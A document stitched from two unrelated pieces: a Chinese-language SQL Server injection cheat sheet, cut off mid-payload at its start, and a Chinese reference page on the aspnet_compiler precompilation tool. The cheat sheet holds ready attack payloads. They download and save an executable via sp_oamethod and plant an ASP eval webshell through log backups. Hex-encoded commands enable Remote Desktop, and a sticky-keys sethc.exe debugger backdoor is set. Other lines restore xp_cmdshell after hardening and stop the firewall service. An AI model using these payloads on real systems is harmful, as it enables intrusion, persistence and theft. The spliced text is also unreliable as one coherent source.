@down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十二、 ----------------- -Log备份WebShell- ----------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx alter database master set RECOVERY FULL create table cmd (a image)-- backup log master to disk = 'c:\cmd' with init insert into cmd (a) values ('<%eval(request("a")):response.end%>')-- backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'-- drop table cmd-- 2\ use mir alter database mir set RECOVERY FULL -- create table cmd8 (a image)-- backup log mir to disk = 'c:\cmd8' with init -- insert into cmd8 (a) values ('<%eval(request("a")):response.end%>')-- backup log mir to disk = 'c:\backup.asp'-- drop table cmd8-- alter database mir set RECOVERY SIMPLE -- 3\ create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])-- declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate-- insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)-- select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate-- Drop/**/table/**/[shit_tmp]-- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十三、 ------------------------------- --创建sp_readtextfile存储过程-- ------------------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Create proc sp_readTextFile @filename sysname as begin set nocount on Create table #tempfile (line varchar(8000)) exec ('bulk insert #tempfile from "' + @filename + '"') select * from #tempfile drop table #tempfile End go xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 十四、开3389 =================================================================== declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b =================================================================== 我记得2003的web目录是写在C:\WINDOWS\system32\inetsrv\MetaBase.xml ----------------- ---读取文件内容-- ----------------- exec sp_readTextFile 'c:\boot.ini' xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe' ----------------------- ---清除MsSql日志------- ----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx set nocount on declare @logicalfilename sysname, @maxminutes int, @newsize int xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ---------------------- --停掉或激活某个服务-- ---------------------- exec master..xp_servicecontrol 'stop','sharedaccess' exec master..xp_servicecontrol 'start','sharedaccess' -------------------- --列出驱动器的名称-- -------------------- EXEC [master].[dbo].[xp_availablemedia] ---------------------------------- --列出指定目录的所有下一级子目录-- ---------------------------------- EXEC [master].[dbo].[xp_subdirs] 'c:\windows' ------------------------------ --列出当前错误日志的具体内容-- ------------------------------ EXEC [master].[dbo].[xp_readerrorlog] ---------------------- --列出当前计算机名称-- ---------------------- execute master..xp_getnetname -------------------------------- -列出当前计算机的驱动器可用空间- -------------------------------- execute master..xp_fixeddrives ======================== ==列出服务器所有本地组== ======================== execute master..xp_enumgroups ====================== ==获取MS SQL的版本号== ====================== execute master..sp_msgetversion ========================================= ==参数说明:目录名,目录深度,是否显示文件== ========================================= execute master..xp_dirtree 'c:' execute master..xp_dirtree 'c:',1 execute master..xp_dirtree 'c:',1,1 ========================================= ==列出服务器上安装的所有OLEDB提供的程序== ========================================= execute master..xp_enum_oledb_providers ========================= ==列出服务器上配置的DNS== ========================= execute master..xp_enumdsn 删除存储过程 drop PROCEDURE sp_addextendedproc ----------------------- --删除sql危险存储过程-- ----------------------- xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx DROP PROCEDURE sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec master..sp_dropextendedproc xp_dirtree exec master..sp_dropextendedproc xp_fileexist exec master..sp_dropextendedproc xp_terminate_process exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate exec master..sp_dropextendedproc xp_regaddmultistring exec master..sp_dropextendedproc xp_regdeletekey exec master..sp_dropextendedproc xp_regdeletevalue exec master..sp_dropextendedproc xp_regenumkeys exec master..sp_dropextendedproc xp_regenumvalues exec master..sp_dropextendedproc sp_add_job exec master..sp_dropextendedproc sp_addtask exec master..sp_dropextendedproc xp_regread exec master..sp_dropextendedproc xp_regwrite exec master..sp_dropextendedproc xp_readwebtask exec master..sp_dropextendedproc xp_makewebtask exec master..sp_dropextendedproc xp_regremovemultistring exec master..sp_dropextendedproc sp_OACreate DROP PROCEDURE sp_addextendedproc xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xp_cmdshell新的恢复办法 扩展储存过程被删除以后可以有很简单的办法恢复: 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 ----------------------------- 删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 否则上传xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll' 堵上cmdshell的sql语句 sp_dropextendedproc "xp_cmdshell 读3389端口 regedit /e port.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 然后 type port.reg | find "PortNumber" sql 语句 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); -- 开启2003的终端(sa) xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0' exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;-- |
预编译ASP.NET 把*.aspx.cs文件封装成dll文件,可以使用.net framework中的aspnet_compiler工具,使用方法如下。
比如我们现在编译的应用程序,虚拟目录是aspnet,实际物理路径是E:aspnet,我们编译后的目标路径是E:www,那么我们只要执行如下命令就可以了:
1 | aspnet_compiler -v /Aspnet -p c:aspnet c:www |
执行完成后,我们发现E盘下生成了www的目录,里边的子目录App_Code和所有.cs文件都不见了,还有master页及其代码.cs文件也不见了。多了一个bin目录(里边是些.compiled和dll文件)和一个PrecompiledApp.config文件。其实这时候.aspx文件也被编译了,只是它作为一个标记文件还存在,实际上没有任何实质性的内容(我们发现这时候每个aspx文件的内容都是“这是预编译工具生成的标记文件,不应被删除!”,其实删了也无所谓)。
aspnet_compiler是个很不错的工具,用来预编译ASP.NET应用程序。打开Visual Studio 2005命令提示就可以执行了。详细的可以aspner_compiler -?看看帮助。
aspner_compiler 地址:C:WINDOWSMicrosoft.NETFrameworkv2.0.50727
下面是一个我在实际使用过程中的例子:
首先新建一个网站,建一个名为IMG.ASPX的页面来生成验证码,而我想封装这个页面。
使用上述的命令后,加入E:www文件夹下会有一个dll文件,我这名为“App_Web_krtwag-s.dll”,然后就可以在其他项目中添加引用,然后建立一个无后台的空页面,将页面头部的Inherits属性更改为”IMG,App_Web_krtwag-s” 之后运行页面就会得到和封装前IMG.aspx页面运行相同的效果。
早于 ASP.NET 2.0 版的 ASP.NET 版本中没有 ASP.NET 编译工具。
复制
1 2 3 4 5 6 7 | aspnet_compiler [-?] [-m metabasePath | -v virtualPath [-p physicalPath]] [[-u] [-f] [-d] [-fixednames] targetDir] [-c] [-errorstack] [-nologo] [[-keyfile file | -keycontainer container ] [-aptca] [-delaysign]] |
选项
——————————————————————————–
选项
说明
-m metabasePath
指定要编译的应用程序的完整 IIS 元数据库路径。 IIS 元数据库是用于配置 IIS 的分层信息存储区。 例如,默认 IIS 网站的元数据库路径是 LM/W3SVC/1/ROOT。
此选项不能与 -v 选项或 -p 选项一起使用。
-v virtualPath
指定要编译的应用程序的虚拟路径。
如果还指定了 -p,则使用伴随的 physicalPath 参数的值来定位要编译的应用程序。 否则,将使用 IIS 元数据库,并且此工具假定源文件位于默认网站(在 LM/W3SVC/1/ROOT 元数据库节点中指定)中。
此选项不能与 -m 选项一起使用。
-p physicalPath
指定包含要编译的应用程序的根目录的完整网络路径或完整本地磁盘路径。 如果未指定 -p,则使用 IIS 元数据库来查找目录。
此选项必须与 -v 选项一起使用,不能与 -m 选项一起使用。
-u
指定 Aspnet_compiler.exe 应创建一个预编译的应用程序,该应用程序允许对内容(例如 .aspx 页)进行后续更新。
如果省略该选项,生成的应用程序将仅包含编译的文件,而无法在部署服务器上进行更新。 只能通过更改源标记文件并重新编译来更新应用程序。
必须包括参数 targetDir。
使用此选项时,不会编译 .aspx 文件中的代码块(也就是位于 script 元素中或 <% 和 %> 标记之间的代码)。 因此,如果这些代码块中存在编译错误,则只能在运行时显示错误,因为只有这样才能完全编译 .aspx 文件。 将此选项用于依赖于 .aspx 文件中的代码块的站点通常是不安全的。
-f
指定该工具应该覆盖 targetDir 目录及其子目录中的现有文件。
-d
重写应用程序源配置文件中定义的设置,强制在编译的应用程序中包括调试信息。 否则,将不会发出调试输出。
不能将 -d 选项用于就地编译;就地编译使用调试选项的配置设置。
targetDir
将包含编译的应用程序的根目录的网络路径或本地磁盘路径。 如果未包括 targetDir 参数,则就地编译应用程序。
-c
指定应完全重新生成要编译的应用程序。 已经编译的组件将重新进行编译。 如果省略此选项,该工具将仅生成应用程序中自上次执行编译以来被修改的那些部分。
-errorstack
指定该工具应在未能编译应用程序时包括堆栈跟踪信息。
-keyfile file
指定应该将 AssemblyKeyFileAttribute(指示包含用于生成强名称的公钥/私钥对的文件名)应用于编译好的程序集。
此选项必须与 -aptca 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。
-keycontainer container
指定应该将 AssemblyKeyNameAttribute(指示用于生成强名称的公钥/私钥对的容器名)应用于编译好的程序集。
此选项必须与 -aptca 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。
-aptca
指定应该将 AllowPartiallyTrustedCallersAttribute(允许部分受信任的调用方访问程序集)应用于 Aspnet_compiler.exe 生成的具有强名称的程序集。
此选项必须与 -keyfile 或 -keycontainer 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。
-delaysign
指定应该将 AssemblyDelaySignAttribute(指示应该只使用公钥标记对程序集进行签名,而不使用公钥/私钥对)应用于生成的程序集。
此选项必须与 -keyfile 或 -keycontainer 选项一起使用。 如果代码文件中已经将该特性应用于程序集,Aspnet_compiler.exe 将引发一个异常。
使用 -delaysign 选项时,Aspnet_compilier.exe 生成的代码在完成代码签名之前即可运行。 必须确保该代码在完成签名之前不易受到恶意用户的攻击。
-fixednames
指定应该为应用程序中的每一页生成一个程序集。 每个程序集的名称使用原始页的虚拟路径,除非此名称超过操作系统的文件名限制。如果超过限制,将生成一个哈希值,并将其用于程序集名称。
不能将 -fixednames 选项用于就地编译;就地编译使用编译批处理模式的配置设置。
-nologo
取消显示版权信息。
-?
显示该工具的命令语法和选项。
备注
——————————————————————————–
有两个版本的 ASP.NET 编译工具:
.NET Framework 2.0 中附带的版本。 可以使用此版本编译针对 .NET Framework 2.0、.NET Framework 3.0 或 .NET Framework 3.5 的网站。 这些站点必须部署在应用程序池中,该应用程序池与 .NET Framework 的目标版本关联。
.NET Framework 4 中附带的版本。 可以使用此版本编译针对 .NET Framework 4 及更高版本的网站。 此版本的工具可以创建仅适用于 .NET Framework 4 CLR 的程序集,即使 Web.config 文件缺少 targetFramework 特性。
如果打算将应用程序部署到与 .NET Framework 4 版 相关联的应用程序池,则可以使用此版本来编译 Web.config 文件指示其面向早期版本之一的应用程序。
有关如何开发、编译和部署特定于 .NET Framework 版本的网站的更多信息,请参见针对 ASP.NET Web 项目的 .NET Framework 多目标功能 和 ASP.NET 并行执行概述。 有关 ASP.NET 编译工具如何确定网站的目标 .NET Framework 版本的信息,请参见 BuildManager..::..TargetFramework 属性。
可以通过以下两种常用方式来使用 ASP.NET 编译工具:就地编译和为部署进行的编译,后者需要指定目标输出目录。 下面的几节将介绍这些方案。
就地编译应用程序
ASP.NET 编译工具可以就地编译应用程序,也就是说,它模仿对应用程序发出多个请求的行为,从而导致进行常规编译。 预编译站点的用户将不会遇到因第一次请求而编译页面带来的延迟。
请注意,如果使用的是模拟帐户,则该帐户和登录用户帐户都必须具有对目标的写访问权限,预编译才能成功。
就地预编译站点时,请注意下列事项:
站点将保留它的文件和目录结构。
服务器上必须具有供此站点使用的所有编程语言的编译器。
如果任何文件编译失败,整个站点的编译将失败。
还可以在向应用程序添加新的源文件之后就地重新编译应用程序。 除非包括 -c 选项,否则该工具仅编译新文件和更改过的文件。
说明
编译包含嵌套应用程序的应用程序时,不会编译嵌套应用程序。 必须单独编译嵌套应用程序。
说明
当您编译包含母版页的 Web 应用程序时,如果将该应用程序编译为可更新的站点,则编译可能会失败并且会发生命名冲突。 如果母版页的名称与从该母版页派生的内容页的命名空间名称相匹配,则可能发生该冲突。 (继承关系是由 @ Page 指令的 Inherits 特性建立的。) 若要解决此问题,可以更改母版页的类名或者更改命名空间名称,或者可以将该应用程序编译为不可更新。
说明
如果使用工具的 .NET Framework 4 版本来就地预编译网站,并且该站点面向 .net Framework 的早期版本,同时与面向 .NET Framework 2.0 CLR 的应用程序池相关联,则对 Web 应用程序的首次请求将导致动态编译,就如同尚未对该站点进行预编译。 这是因为命令行编译器编译到 .NET Framework 2.0 CLR 无法识别的 .NET Framework 4 临时文件夹中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | 为进行部署编译应用程序 通过指定 targetDir 参数来编译应用程序以进行部署(编译到某个目标位置)。 targetDir 可以是 Web 应用程序的最终位置;也可以进一步部署编译好的应用程序。 使用 -u 选项将以下面的方式编译应用程序:可以对编译好的应用程序中的某些文件做出更改,而无需重新编译该应用程序。 Aspnet_compiler.exe 区分静态和动态文件类型之间的不同,并在创建生成的应用程序时,以不同的方式对它们进行处理。 静态文件类型是指那些没有关联的编译器或生成提供程序的文件类型,例如具有 .css、.gif、.htm、.html、.jpg、.js 等扩展名的文件。 这些文件只是复制到目标位置,并且在保留的目录结构中保持它们的相对位置。 动态文件类型是指那些具有关联的编译器或生成提供程序的文件类型,包括具有 ASP.NET 特定文件扩展名(如 .asax、.ascx、.ashx、.aspx、.browser、.master 等等)的文件。 ASP.NET 编译工具从这些文件生成程序集。 如果省略 -u 选项,该工具还会创建具有文件扩展名 .COMPILED 的文件,这些文件将原始源文件映射到它们的程序集。 为确保保留应用程序源的目录结构,该工具在目标应用程序的相应位置中生成占位符文件。 必须使用 -u 选项,以指示可以修改编译好的应用程序的内容。 否则,将忽略后续修改或者导致运行时错误。 下表描述了在包括 -u 选项的情况下,ASP.NET 编译工具是如何处理不同的文件类型的。 文件类型 编译器操作 .ascx、.aspx、.master 这些文件将被拆分为标记和源代码,其中包括代码隐藏文件。 源代码编译到程序集中,其名称派生于哈希算法,且程序集放置在 Bin 目录中。 任何内联代码(即包含在 <script runat="server"> 元素中的代码)都包括在标记中,不进行编译。 将创建与源文件同名的新文件来包含标记,新文件位于相应的输出目录中。 .ashx、.asmx 这些文件不进行编译,而是原样移动到输出目录中。 如果希望编译处理程序代码,请将这些代码放入 App_Code 目录的源代码文件中。 .cs、.vb、.jsl、.cpp (不包括先前列出的文件类型的代码隐藏文件) 这些文件会进行编译,并作为资源包含在引用它们的程序集中。 源文件不复制到输出目录中。 如果不引用代码文件,则这些文件不会进行编译。 自定义文件类型 这些文件不进行编译。 这些文件复制到相应的输出目录中。 App_Code 子目录中的源代码文件 这些文件编译到程序集中,且放置在 Bin 目录中。 说明 App_Code 目录中的静态文件类型不复制到输出目录中。 App_GlobalResources 子目录中的 .resx 和 .resource 文件 这些文件编译到程序集中,且放置在 Bin 目录中。 不会在主输出目录中创建 App_GlobalResources 子目录,且不会将源目录中的 .resx 或 .resources 文件复制到输出目录中。 说明 App_GlobalResources 子目录中的资源文件先编译到程序集中,然后编译 App_Code 子目录中的代码。不支持在编译之后修改资源文件。 App_LocalResources 子目录中的 .resx 和 .resource 文件 这些文件不进行编译,它们复制到相应的输出目录中。 App_Themes 子目录中的 .skin 文件 .skin 文件和静态主题文件不进行编译,它们复制到相应的输出目录中。 .browser Web.config 静态文件类型 Bin 目录中已存在的程序集 这些文件原样复制到输出目录中。 下表描述了在省略 -u 选项的情况下,ASP.NET 编译工具是如何处理不同的文件类型的。 说明 不会提供阻止您修改已编译应用程序的源代码的警告。 文件类型 编译器操作 .aspx、.asmx、.ashx、.master 这些文件被拆分为标记和源代码,其中包括代码隐藏文件和包含在 <script runat="server"> 元素中的任何代码。 源代码编译到程序集中,其名称派生于哈希算法。 生成的程序集放置在 Bin 目录中。 任何内联代码(即包含在 <% 和 %> 括号之间的代码)包括在标记中,不进行编译。 编译器将创建新文件,以包括与源文件同名的标记。 这些生成的文件放置在 Bin 目录中。 编译器还会创建与源文件同名的文件,但新创建的文件具有扩展名 .COMPILED 且包含映射信息。 .COMPILED 文件放置在与源文件的原始位置相对应的输出目录中。 .ascx 这些文件被拆分为标记和源代码。 源代码编译到程序集中,且放置在 Bin 目录中,其名称派生于哈希算法。 不生成标记文件。 .cs、.vb、.jsl、.cpp (不包括先前列出的文件类型的代码隐藏文件) 从 .ascx、.ashx 或 .aspx 文件生成的程序集所引用的源代码编译到程序集中,且放置在 Bin 目录中。 不复制源文件。 自定义文件类型 这些文件像动态文件一样进行编译。 编译器可以将映射文件放置在输出目录中,具体取决于它们所基于的文件类型。 App_Code 子目录中的文件 该子目录中的源代码文件编译到程序集中,且放置在 Bin 目录中。 说明 App_Code 目录中的静态文件类型不复制到输出目录中。 App_GlobalResources 子目录中的文件 这些文件编译到程序集中,且放置在 Bin 目录中。 不会在主输出目录下创建 App_GlobalResources 子目录。 如果配置文件指定了 appliesTo="All",则 .resx 和 .resources 文件复制到输出目录中。 如果这些文件被 BuildProvider 引用,则不会被复制。 App_LocalResources 子目录中的 .resx 和 .resource 文件 这些文件编译到程序集中,具有唯一的名称,且放置在 Bin 目录中。 不会将 .resx 或 .resource 文件复制到输出目录中。 App_Themes 子目录中的 .skin 文件 主题文件编译到程序集中,且放置在 Bin 目录中。 为 .skin 文件创建存根 (stub) 文件,并将它们放置在相应的输出目录中。 静态文件(如 .css)复制到输出目录中。 .browser Web.config 静态文件类型 Bin 目录中已存在的程序集 这些文件原样复制到输出目录中。 |